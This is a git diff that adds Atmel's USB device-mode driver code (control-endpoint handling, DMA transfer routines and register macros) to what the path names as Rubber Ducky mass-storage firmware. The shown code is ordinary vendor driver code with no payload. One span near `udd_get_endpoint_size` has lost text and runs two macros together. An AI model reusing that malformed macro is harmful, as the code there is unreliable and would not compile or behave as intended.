(UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // A IN handshake is waiting by device, + // but host want extra OUT data then stall extra OUT data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_stall_data(void) +{ + // Stall all packets on IN & OUT control endpoint + udd_ep_control_state = UDD_EPCTRL_STALL_REQ; + udd_enable_stall_handshake(0); +} + + +static void udd_ctrl_send_zlp_in(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP; + + // Validate and send empty IN packet on control endpoint + flags = cpu_irq_save(); + // Send ZLP on IN endpoint + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // To detect a protocol error, enable nak interrupt on data OUT phase + udd_ack_nak_out(0); + udd_enable_nak_out_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_send_zlp_out(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + // No action is necessary to accept OUT ZLP + // because the buffer of control endpoint is already free + + // To detect a protocol error, enable nak interrupt on data IN phase + flags = cpu_irq_save(); + udd_ack_nak_in(0); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_endofrequest(void) +{ + // If a callback is registered then call it + if (udd_g_ctrlreq.callback) { + udd_g_ctrlreq.callback(); + } +} + + +static bool udd_ctrl_interrupt(void) +{ + + if (!Is_udd_endpoint_interrupt(0)) + return false; // No interrupt events on control endpoint + + // By default disable overflow and underflow interrupt + udd_disable_nak_in_interrupt(0); + udd_disable_nak_out_interrupt(0); + + + // Search event on control endpoint + if (Is_udd_setup_received(0)) { + // SETUP packet received + udd_ctrl_setup_received(); + return true; + } + if (Is_udd_in_send(0) && Is_udd_in_send_interrupt_enabled(0)) { + // IN packet sent + udd_ctrl_in_sent(); + return true; + } + if (Is_udd_out_received(0)) { + // OUT packet received + udd_ctrl_out_received(); + return true; + } + if (Is_udd_nak_out(0)) { + // Overflow on OUT packet + udd_ack_nak_out(0); + udd_ctrl_overflow(); + return true; + } + if (Is_udd_nak_in(0)) { + // Underflow on IN packet + udd_ack_nak_in(0); + udd_ctrl_underflow(); + return true; + } + return false; +} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE BULK/INTERRUPT/ISOCHRONOUS ENDPOINTS + +#if (0!=USB_DEVICE_MAX_EP) + +static void udd_ep_job_table_reset(void) +{ + uint8_t i; + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_job[i].busy = false; + udd_ep_job[i].stall_requested = false; + } +} + + +static void udd_ep_job_table_kill(void) +{ + uint8_t i; + + // For each endpoint, kill job + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_finish_job(&udd_ep_job[i], true); + } +} + + +static void udd_ep_abort_job(udd_ep_id_t ep) +{ + ep &= USB_EP_ADDR_MASK; + + // Abort job on endpoint + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +} + + +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort) +{ + if (ptr_job->busy == false) { + return; // No on-going job + } + ptr_job->busy = false; + if (NULL == ptr_job->call_trans) { + return; // No callback linked to job + } + ptr_job->call_trans((b_abort) ? UDD_EP_TRANSFER_ABORT : + UDD_EP_TRANSFER_OK, ptr_job->buf_size); +} + +static void udd_ep_trans_done(udd_ep_id_t ep) +{ + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + iram_size_t next_trans; + irqflags_t flags; + + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if (!ptr_job->busy) { + return; // No job is running, then ignore it (system error) + } + + if (ptr_job->nb_trans != ptr_job->buf_size) { + // Need to send or receiv other data + next_trans = ptr_job->buf_size - ptr_job->nb_trans; + + if (UDD_ENDPOINT_MAX_TRANS < next_trans) { + // The USB hardware support a maximum + // transfer size of UDD_ENDPOINT_MAX_TRANS Bytes + next_trans = UDD_ENDPOINT_MAX_TRANS; + + // Set 0 to tranfer the maximum + udd_dma_ctrl = (0 << + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + } else { + udd_dma_ctrl = (next_trans << + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + } + if (Is_udd_endpoint_in(ep)) { + if (0 != next_trans % udd_get_endpoint_size(ep)) { + // Enable short packet option + // else the DMA transfer is accepted + // and interrupt DMA valid but nothing is sent. + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_DMAEND_EN_MASK; + // No need to request another ZLP + ptr_job->b_shortpacket = false; + } + } else { + if ((USB_EP_TYPE_ISOCHRONOUS != udd_get_endpoint_type(ep)) + || (next_trans <= udd_get_endpoint_size(ep))) { + + // Enable short packet reception + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOT_IRQ_EN_MASK + | AVR32_USBB_UDDMA1_CONTROL_BUFF_CLOSE_IN_EN_MASK; + } + } + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) &ptr_job->buf[ptr_job->nb_trans]); + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOBUFF_IRQ_EN_MASK | + AVR32_USBB_UDDMA1_CONTROL_CH_EN_MASK; + + // Disable IRQs to have a short sequence + // between read of EOT_STA and DMA enable + flags = cpu_irq_save(); + if ( !(udd_endpoint_dma_get_status(ep) + & AVR32_USBB_UDDMA1_STATUS_EOT_STA_MASK)) { + udd_endpoint_dma_set_control(ep, udd_dma_ctrl); + ptr_job->nb_trans += next_trans; + udd_enable_endpoint_dma_interrupt(ep); + cpu_irq_restore(flags); + return; + } + cpu_irq_restore(flags); + + // Here a ZLP has been recieved + // and the DMA transfer must be not started. + // It is the end of transfer + ptr_job->buf_size = ptr_job->nb_trans; + } + if (Is_udd_endpoint_in(ep)) { + if (ptr_job->b_shortpacket) { + // Need to send a ZLP (No possible with USB DMA) + // enable interrupt to wait a free bank to sent ZLP + udd_ack_in_send(ep); + if (Is_udd_write_enabled(ep)) { + // Force interrupt in case of ep already free + udd_raise_in_send(ep); + } + udd_enable_in_send_interrupt(ep); + udd_enable_endpoint_interrupt(ep); + return; + } + } + // Call callback to signal end of transfer + udd_ep_finish_job(ptr_job, false); +} + + +static bool udd_ep_interrupt(void) +{ + udd_ep_id_t ep; + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) + && Is_udd_endpoint_dma_interrupt(ep)) { + uint32_t nb_remaining; + if( udd_endpoint_dma_get_status(ep) + & AVR32_USBB_UDDMA1_STATUS_CH_EN_MASK) { + return true; // Ignore EOT_STA interrupt + } + udd_disable_endpoint_dma_interrupt(ep); + // Save number of data no transfered + nb_remaining = (udd_endpoint_dma_get_status(ep) & + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_MASK) + >> AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_OFFSET; + if (nb_remaining) { + // Transfer no complete (short packet or ZLP) then: + // Update number of data transfered + ptr_job->nb_trans -= nb_remaining; + // Set transfer complete to stop the transfer + ptr_job->buf_size = ptr_job->nb_trans; + } + udd_ep_trans_done(ep); + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep)) { + if (Is_udd_in_send_interrupt_enabled(ep) && Is_udd_in_send(ep)) { + udd_disable_in_send_interrupt(ep); + // One bank is free then send a ZLP + udd_ack_in_send(ep); + udd_ack_fifocon(ep); + udd_ep_finish_job(ptr_job, false); + return true; + } + if (Is_udd_bank_interrupt_enabled(ep) && (0==udd_nb_busy_bank(ep))) { + // End of background transfer on IN endpoint + udd_disable_bank_interrupt(ep); + udd_disable_endpoint_interrupt(ep); + + Assert(ptr_job->stall_requested); + // A stall has been requested during backgound transfer + ptr_job->stall_requested = false; + udd_disable_endpoint_bank_autoswitch(ep); + udd_enable_stall_handshake(ep); + udd_reset_data_toggle(ep); + return true; + } + } + } + return false; +} +#endif // (0!=USB_DEVICE_MAX_EP) + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.h new file mode 100755 index 0000000..82a2b70 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/usbb/usbb_device.h @@ -0,0 +1,616 @@ +/** + * \file + * + * \brief USBB Device Driver header file. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _USBB_DEVICE_H_ +#define _USBB_DEVICE_H_ + +#include "compiler.h" +#include "preprocessor.h" +#include "usbb_otg.h" + + +//! \ingroup usb_device_group +//! \defgroup udd_group USB Device Driver (UDD) +//! USBB low-level driver for USB device mode +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB Device IP properties +//! These macros give access to IP properties +//! @{ + //! Get maximal number of endpoints +#define udd_get_endpoint_max_nbr() \ + (((USBB_RD_BITFIELD(UFEATURES_EPT_NBR,MAX) - 1) \ + & ((1 << AVR32_USBB_UFEATURES_EPT_NBR_MAX_SIZE) - 1)) + 1) +//! @} + +//! @name USBB Device speeds management +//! @{ + //! Enable/disable device low-speed mode +#define udd_low_speed_enable() USBB_SET_BITS(UDCON,LS) +#define udd_low_speed_disable() USBB_CLR_BITS(UDCON,LS) + //! Test if device low-speed mode is forced +#define Is_udd_low_speed_enable() USBB_TST_BITS(UDCON,LS) + +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed mode +# define udd_high_speed_enable() USBB_WR_BITFIELD(UDCON,SPDCONF,0) + //! Disable high speed mode +# define udd_high_speed_disable() USBB_WR_BITFIELD(UDCON,SPDCONF,3) + //! Test if controller is in full speed mode +# define Is_udd_full_speed_mode() \ + (USBB_RD_BITFIELD(USBSTA,SPEED) == AVR32_USBB_USBSTA_SPEED_FULL) +#else +# define udd_high_speed_enable() do { } while (0) +# define udd_high_speed_disable() do { } while (0) +# define Is_udd_full_speed_mode() true +#endif +//! @} + +//! @name USBB Device HS test mode management +//! @{ +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed test mode +# define udd_enable_hs_test_mode() (USBB_WR_BITFIELD(UDCON,SPDCONF, 2)) +# define udd_enable_hs_test_mode_j() USBB_SET_BITS(UDCON,TSTJ) +# define udd_enable_hs_test_mode_k() USBB_SET_BITS(UDCON,TSTK) +# define udd_enable_hs_test_mode_packet() USBB_SET_BITS(UDCON,TSTPCKT) +#endif +//! @} + +//! @name USBB device attach control +//! These macros manage the USBB Device attach. +//! @{ + //! detaches from USB bus +#define udd_detach_device() USBB_SET_BITS(UDCON,DETACH) + //! attaches to USB bus +#define udd_attach_device() USBB_CLR_BITS(UDCON,DETACH) + //! test if the device is detached +#define Is_udd_detached() USBB_TST_BITS(UDCON,DETACH) +//! @} + + +//! @name USBB device bus events control +//! These macros manage the USBB Device bus events. +//! @{ + +//! Initiates a remote wake-up event +//! @{ +#define udd_initiate_remote_wake_up() USBB_SET_BITS(UDCON,RMWKUP) +#define Is_udd_pending_remote_wake_up() USBB_TST_BITS(UDCON,RMWKUP) +//! @} + +//! Manage upstream resume event (=remote wakeup from device) +//! The USB driver sends a resume signal called "Upstream Resume" +//! @{ +#define udd_enable_remote_wake_up_interrupt() USBB_REG_SET(UDINTE,UPRSME) +#define udd_disable_remote_wake_up_interrupt() USBB_REG_CLR(UDINTE,UPRSME) +#define Is_udd_remote_wake_up_interrupt_enabled() USBB_TST_BITS(UDINTE,UPRSME) +#define udd_ack_remote_wake_up_start() USBB_REG_CLR(UDINT,UPRSM) +#define udd_raise_remote_wake_up_start() USBB_REG_SET(UDINT,UPRSM) +#define Is_udd_remote_wake_up_start() USBB_TST_BITS(UDINT,UPRSM) +//! @} + +//! Manage downstream resume event (=remote wakeup from host) +//! The USB controller detects a valid "End of Resume" signal initiated by the host +//! @{ +#define udd_enable_resume_interrupt() USBB_REG_SET(UDINTE,EORSME) +#define udd_disable_resume_interrupt() USBB_REG_CLR(UDINTE,EORSME) +#define Is_udd_resume_interrupt_enabled() USBB_TST_BITS(UDINTE,EORSME) +#define udd_ack_resume() USBB_REG_CLR(UDINT,EORSM) +#define udd_raise_resume() USBB_REG_SET(UDINT,EORSM) +#define Is_udd_resume() USBB_TST_BITS(UDINT,EORSM) +//! @} + +//! Manage wake-up event (=usb line activity) +//! The USB controller is reactivated by a filtered non-idle signal from the lines +//! @{ +#define udd_enable_wake_up_interrupt() USBB_REG_SET(UDINTE,WAKEUPE) +#define udd_disable_wake_up_interrupt() USBB_REG_CLR(UDINTE,WAKEUPE) +#define Is_udd_wake_up_interrupt_enabled() USBB_TST_BITS(UDINTE,WAKEUPE) +#define udd_ack_wake_up() USBB_REG_CLR(UDINT,WAKEUP) +#define udd_raise_wake_up() USBB_REG_SET(UDINT,WAKEUP) +#define Is_udd_wake_up() USBB_TST_BITS(UDINT,WAKEUP) +//! @} + +//! Manage reset event +//! Set when a USB "End of Reset" has been detected +//! @{ +#define udd_enable_reset_interrupt() USBB_REG_SET(UDINTE,EORSTE) +#define udd_disable_reset_interrupt() USBB_REG_CLR(UDINTE,EORSTE) +#define Is_udd_reset_interrupt_enabled() USBB_TST_BITS(UDINTE,EORSTE) +#define udd_ack_reset() USBB_REG_CLR(UDINT,EORST) +#define udd_raise_reset() USBB_REG_SET(UDINT,EORST) +#define Is_udd_reset() USBB_TST_BITS(UDINT,EORST) +//! @} + +//! Manage start of frame event +//! @{ +#define udd_enable_sof_interrupt() USBB_REG_SET(UDINTE,SOFE) +#define udd_disable_sof_interrupt() USBB_REG_CLR(UDINTE,SOFE) +#define Is_udd_sof_interrupt_enabled() USBB_TST_BITS(UDINTE,SOFE) +#define udd_ack_sof() USBB_REG_CLR(UDINT,SOF) +#define udd_raise_sof() USBB_REG_SET(UDINT,SOF) +#define Is_udd_sof() USBB_TST_BITS(UDINT,SOF) +#define udd_frame_number() (USBB_RD_BITFIELD(UDFNUM,FNUM)) +#define Is_udd_frame_number_crc_error() USBB_TST_BITS(UDFNUM,FNCERR) +//! @} + +//! Manage Micro start of frame event (High Speed Only) +//! @{ +#define udd_enable_msof_interrupt() USBB_REG_SET(UDINTE,MSOFE) +#define udd_disable_msof_interrupt() USBB_REG_CLR(UDINTE,MSOFE) +#define Is_udd_msof_interrupt_enabled() USBB_TST_BITS(UDINTE,MSOFE) +#define udd_ack_msof() USBB_REG_CLR(UDINT,MSOF) +#define udd_raise_msof() USBB_REG_SET(UDINT,MSOF) +#define Is_udd_msof() USBB_TST_BITS(UDINT,MSOF) +#define udd_micro_frame_number() \ + (Rd_bitfield(AVR32_USBB.udfnum, \ + (AVR32_USBB_UDFNUM_FNUM_MASK|AVR32_USBB_UDFNUM_MFNUM_MASK))) +//! @} + +//! Manage suspend event +//! @{ +#define udd_enable_suspend_interrupt() USBB_REG_SET(UDINTE,SUSPE) +#define udd_disable_suspend_interrupt() USBB_REG_CLR(UDINTE,SUSPE) +#define Is_udd_suspend_interrupt_enabled() USBB_TST_BITS(UDINTE,SUSPE) +#define udd_ack_suspend() USBB_REG_CLR(UDINT,SUSP) +#define udd_raise_suspend() USBB_REG_SET(UDINT,SUSP) +#define Is_udd_suspend() USBB_TST_BITS(UDINT,SUSP) +//! @} + +//! @} + +//! @name USBB device address control +//! These macros manage the USBB Device address. +//! @{ + //! enables USB device address +#define udd_enable_address() USBB_SET_BITS(UDCON,ADDEN) + //! disables USB device address +#define udd_disable_address() USBB_CLR_BITS(UDCON,ADDEN) +#define Is_udd_address_enabled() USBB_TST_BITS(UDCON,ADDEN) + //! configures the USB device address +#define udd_configure_address(addr) (USBB_WR_BITFIELD(UDCON,UADD, addr)) + //! gets the currently configured USB device address +#define udd_get_configured_address() (USBB_RD_BITFIELD(UDCON,UADD)) +//! @} + + +//! @name USBB Device endpoint drivers +//! These macros manage the common features of the endpoints. +//! @{ + +//! Generic macro for USBB registers that can be arrayed +//! @{ +#define USBB_ARRAY(reg,index) (((volatile unsigned long*)(&AVR32_USBB.reg))[index]) +#define USBB_EP_CLR_BITS(reg, bit, ep) \ + (Clr_bits(USBB_ARRAY(TPASTE2(reg,0),ep),\ + TPASTE5(AVR32_USBB_,reg,0_,bit,_MASK))) +#define USBB_EP_SET_BITS(reg, bit, ep) \ + (Set_bits(USBB_ARRAY(TPASTE2(reg,0),ep),\ + TPASTE5(AVR32_USBB_,reg,0_,bit,_MASK))) +#define USBB_EP_TST_BITS(reg, bit, ep) \ + (Tst_bits(USBB_ARRAY(TPASTE2(reg,0),ep),\ + TPASTE5(AVR32_USBB_,reg,0_,bit,_MASK))) +#define USBB_EP_RD_BITFIELD(reg, bit, ep) \ + (Rd_bitfield(USBB_ARRAY(TPASTE2(reg,0),ep),\ + TPASTE5(AVR32_USBB_,reg,0_,bit,_MASK))) +#define USBB_EP_WR_BITFIELD(reg, bit, ep, value) \ + (Wr_bitfield(USBB_ARRAY(TPASTE2(reg,0),ep),\ + TPASTE5(AVR32_USBB_,reg,0_,bit,_MASK), value)) +#define USBB_EP_REG_CLR(reg, bit, ep) \ + (USBB_ARRAY(TPASTE2(reg,0CLR),ep) \ + = TPASTE5(AVR32_USBB_,reg,0CLR_,bit,C_MASK)) +#define USBB_EP_REG_SET(reg, bit, ep) \ + (USBB_ARRAY(TPASTE2(reg,0SET),ep) \ + = TPASTE5(AVR32_USBB_,reg,0SET_,bit,S_MASK)) +//! @} + +//! @name USBB Device endpoint configuration +//! @{ + //! enables the selected endpoint +#define udd_enable_endpoint(ep) \ + (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! disables the selected endpoint +#define udd_disable_endpoint(ep) \ + (Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! tests if the selected endpoint is enabled +#define Is_udd_endpoint_enabled(ep) \ + (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! resets the selected endpoint +#define udd_reset_endpoint(ep) \ + (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)),\ + Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + //! tests if the selected endpoint is being reset +#define Is_udd_resetting_endpoint(ep) \ + (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + + //! configures the selected endpoint type +#define udd_configure_endpoint_type(ep, type) USBB_EP_WR_BITFIELD(UECFG,EPTYPE,ep,type) + //! gets the configured selected endpoint type +#define udd_get_endpoint_type(ep) USBB_EP_RD_BITFIELD(UECFG,EPTYPE,ep) + //! enables the bank autoswitch for the selected endpoint +#define udd_enable_endpoint_bank_autoswitch(ep) USBB_EP_SET_BITS(UECFG,AUTOSW,ep) + //! disables the bank autoswitch for the selected endpoint +#define udd_disable_endpoint_bank_autoswitch(ep) USBB_EP_CLR_BITS(UECFG,AUTOSW,ep) +#define Is_udd_endpoint_bank_autoswitch_enabled(ep) USBB_EP_TST_BITS(UECFG,AUTOSW,ep) + //! configures the selected endpoint direction +#define udd_configure_endpoint_direction(ep, dir) USBB_EP_WR_BITFIELD(UECFG,EPDIR,ep,dir) + //! gets the configured selected endpoint direction +#define udd_get_endpoint_direction(ep) USBB_EP_RD_BITFIELD(UECFG,EPDIR,ep) +#define Is_udd_endpoint_in(ep) USBB_EP_TST_BITS(UECFG,EPDIR,ep) + //! Bounds given integer size to allowed range and rounds it up to the nearest + //! available greater size, then applies register format of USBB controller + //! for endpoint size bit-field. +#define udd_format_endpoint_size(size) \ + (32 - clz(((U32)min(max(size, 8), 1024) << 1) - 1) - 1 - 3) + //! configures the selected endpoint size +#define udd_configure_endpoint_size(ep, size) \ + USBB_EP_WR_BITFIELD(UECFG,EPSIZE,ep, udd_format_endpoint_size(size)) + //! gets the configured selected endpoint size +#define udd_get_endpoint_size(ep) (8<> AVR32_USBB_UDINT_EP0INT_OFFSET) &\ + (AVR32_USBB.udinte >> AVR32_USBB_UDINTE_EP0INTE_OFFSET)) |\ + (1 << AVR32_USBB_EPT_NUM))) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + //! enables the STALL handshake +#define udd_enable_stall_handshake(ep) USBB_EP_REG_SET(UECON,STALLRQ,ep) + //! disables the STALL handshake +#define udd_disable_stall_handshake(ep) USBB_EP_REG_CLR(UECON,STALLRQ,ep) + //! tests if STALL handshake request is running +#define Is_udd_endpoint_stall_requested(ep) USBB_EP_TST_BITS(UECON,STALLRQ,ep) + //! tests if STALL sent +#define Is_udd_stall(ep) USBB_EP_TST_BITS(UESTA,STALLEDI,ep) + //! acks STALL sent +#define udd_ack_stall(ep) USBB_EP_REG_CLR(UESTA,STALLEDI,ep) + //! raises STALL sent +#define udd_raise_stall(ep) USBB_EP_REG_SET(UESTA,STALLEDI,ep) + //! enables STALL sent interrupt +#define udd_enable_stall_interrupt(ep) USBB_EP_REG_SET(UECON,STALLEDE,ep) + //! disables STALL sent interrupt +#define udd_disable_stall_interrupt(ep) USBB_EP_REG_CLR(UECON,STALLEDE,ep) + //! tests if STALL sent interrupt is enabled +#define Is_udd_stall_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,STALLEDE,ep) + + //! tests if NAK OUT received +#define Is_udd_nak_out(ep) USBB_EP_TST_BITS(UESTA,NAKOUTI,ep) + //! acks NAK OUT received +#define udd_ack_nak_out(ep) USBB_EP_REG_CLR(UESTA,NAKOUTI,ep) + //! raises NAK OUT received +#define udd_raise_nak_out(ep) USBB_EP_REG_SET(UESTA,NAKOUTI,ep) + //! enables NAK OUT interrupt +#define udd_enable_nak_out_interrupt(ep) USBB_EP_REG_SET(UECON,NAKOUTE,ep) + //! disables NAK OUT interrupt +#define udd_disable_nak_out_interrupt(ep) USBB_EP_REG_CLR(UECON,NAKOUTE,ep) + //! tests if NAK OUT interrupt is enabled +#define Is_udd_nak_out_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,NAKOUTE,ep) + + //! tests if NAK IN received +#define Is_udd_nak_in(ep) USBB_EP_TST_BITS(UESTA,NAKINI,ep) + //! acks NAK IN received +#define udd_ack_nak_in(ep) USBB_EP_REG_CLR(UESTA,NAKINI,ep) + //! raises NAK IN received +#define udd_raise_nak_in(ep) USBB_EP_REG_SET(UESTA,NAKINI,ep) + //! enables NAK IN interrupt +#define udd_enable_nak_in_interrupt(ep) USBB_EP_REG_SET(UECON,NAKINE,ep) + //! disables NAK IN interrupt +#define udd_disable_nak_in_interrupt(ep) USBB_EP_REG_CLR(UECON,NAKINE,ep) + //! tests if NAK IN interrupt is enabled +#define Is_udd_nak_in_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,NAKINE,ep) + + //! acks endpoint isochronous overflow interrupt +#define udd_ack_overflow_interrupt(ep) USBB_EP_REG_CLR(UESTA,OVERFI,ep) + //! raises endpoint isochronous overflow interrupt +#define udd_raise_overflow_interrupt(ep) USBB_EP_REG_SET(UESTA,OVERFI,ep) + //! tests if an overflow occurs +#define Is_udd_overflow(ep) USBB_EP_TST_BITS(UESTA,OVERFI,ep) + //! enables overflow interrupt +#define udd_enable_overflow_interrupt(ep) USBB_EP_REG_SET(UECON,OVERFE,ep) + //! disables overflow interrupt +#define udd_disable_overflow_interrupt(ep) USBB_EP_REG_CLR(UECON,OVERFE,ep) + //! tests if overflow interrupt is enabled +#define Is_udd_overflow_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,OVERFE,ep) + + //! acks endpoint isochronous underflow interrupt +#define udd_ack_underflow_interrupt(ep) USBB_EP_REG_CLR(UESTA,UNDERFI,ep) + //! raises endpoint isochronous underflow interrupt +#define udd_raise_underflow_interrupt(ep) USBB_EP_REG_SET(UESTA,UNDERFI,ep) + //! tests if an underflow occurs +#define Is_udd_underflow(ep) USBB_EP_TST_BITS(UESTA,UNDERFI,ep) + //! enables underflow interrupt +#define udd_enable_underflow_interrupt(ep) USBB_EP_REG_SET(UECON,RXSTPE,ep) + //! disables underflow interrupt +#define udd_disable_underflow_interrupt(ep) USBB_EP_REG_CLR(UECON,RXSTPE,ep) + //! tests if underflow interrupt is enabled +#define Is_udd_underflow_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,RXSTPE,ep) + + //! tests if CRC ERROR ISO OUT detected +#define Is_udd_crc_error(ep) USBB_EP_TST_BITS(UESTA,STALLEDI,ep) + //! acks CRC ERROR ISO OUT detected +#define udd_ack_crc_error(ep) USBB_EP_REG_CLR(UESTA,STALLEDI,ep) + //! raises CRC ERROR ISO OUT detected +#define udd_raise_crc_error(ep) USBB_EP_REG_SET(UESTA,STALLEDI,ep) + //! enables CRC ERROR ISO OUT detected interrupt +#define udd_enable_crc_error_interrupt(ep) USBB_EP_REG_SET(UECON,STALLEDE,ep) + //! disables CRC ERROR ISO OUT detected interrupt +#define udd_disable_crc_error_interrupt(ep) USBB_EP_REG_CLR(UECON,STALLEDE,ep) + //! tests if CRC ERROR ISO OUT detected interrupt is enabled +#define Is_udd_crc_error_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,STALLEDE,ep) +//! @} + +//! @name USBB Device control endpoint transfer +//! These macros control the endpoint transfer. +//! @{ + + //! tests if endpoint read allowed +#define Is_udd_read_enabled(ep) USBB_EP_TST_BITS(UESTA,RWALL,ep) + //! tests if endpoint write allowed +#define Is_udd_write_enabled(ep) USBB_EP_TST_BITS(UESTA,RWALL,ep) + + //! returns the byte count +#define udd_byte_count(ep) USBB_EP_RD_BITFIELD(UESTA,BYCT,ep) + //! clears FIFOCON bit +#define udd_ack_fifocon(ep) USBB_EP_REG_CLR(UECON,FIFOCON,ep) + //! tests if FIFOCON bit set +#define Is_udd_fifocon(ep) USBB_EP_TST_BITS(UECON,FIFOCON,ep) + + //! returns the number of busy banks +#define udd_nb_busy_bank(ep) USBB_EP_RD_BITFIELD(UESTA,NBUSYBK,ep) + //! returns the number of the current bank +#define udd_current_bank(ep) USBB_EP_RD_BITFIELD(UESTA,CURRBK,ep) + //! kills last bank +#define udd_kill_last_in_bank(ep) USBB_EP_REG_SET(UECON,KILLBK,ep) + //! tests if last bank killed +#define Is_udd_last_in_bank_killed(ep) USBB_EP_TST_BITS(UECON,KILLBK,ep) + //! forces all banks full (OUT) or free (IN) interrupt +#define udd_force_bank_interrupt(ep) USBB_EP_REG_SET(UESTA,NBUSYBK,ep) + //! unforces all banks full (OUT) or free (IN) interrupt +#define udd_unforce_bank_interrupt(ep) USBB_EP_REG_SET(UESTA,NBUSYBK,ep) + //! enables all banks full (OUT) or free (IN) interrupt +#define udd_enable_bank_interrupt(ep) USBB_EP_REG_SET(UECON,NBUSYBKE,ep) + //! disables all banks full (OUT) or free (IN) interrupt +#define udd_disable_bank_interrupt(ep) USBB_EP_REG_CLR(UECON,NBUSYBKE,ep) + //! tests if all banks full (OUT) or free (IN) interrupt enabled +#define Is_udd_bank_interrupt_enabled(ep) USBB_EP_TST_BITS(UECON,NBUSYBKE,ep) + + //! tests if SHORT PACKET received +#define Is_udd_short_packet(ep) USBB_EP_TST_BITS(UESTA,SHORTPACKETI,ep) + //! acks SHORT PACKET received +#define udd_ack_short_packet(ep) USBB_EP_REG_CLR(UESTA,SHORTPACKETI,ep) + //! raises SHORT PACKET received +#define udd_raise_short_packet(ep) USBB_EP_REG_SET(UESTA,SHORTPACKETI,ep) + //! enables SHORT PACKET received interrupt +#define udd_enable_short_packet_interrupt(ep) 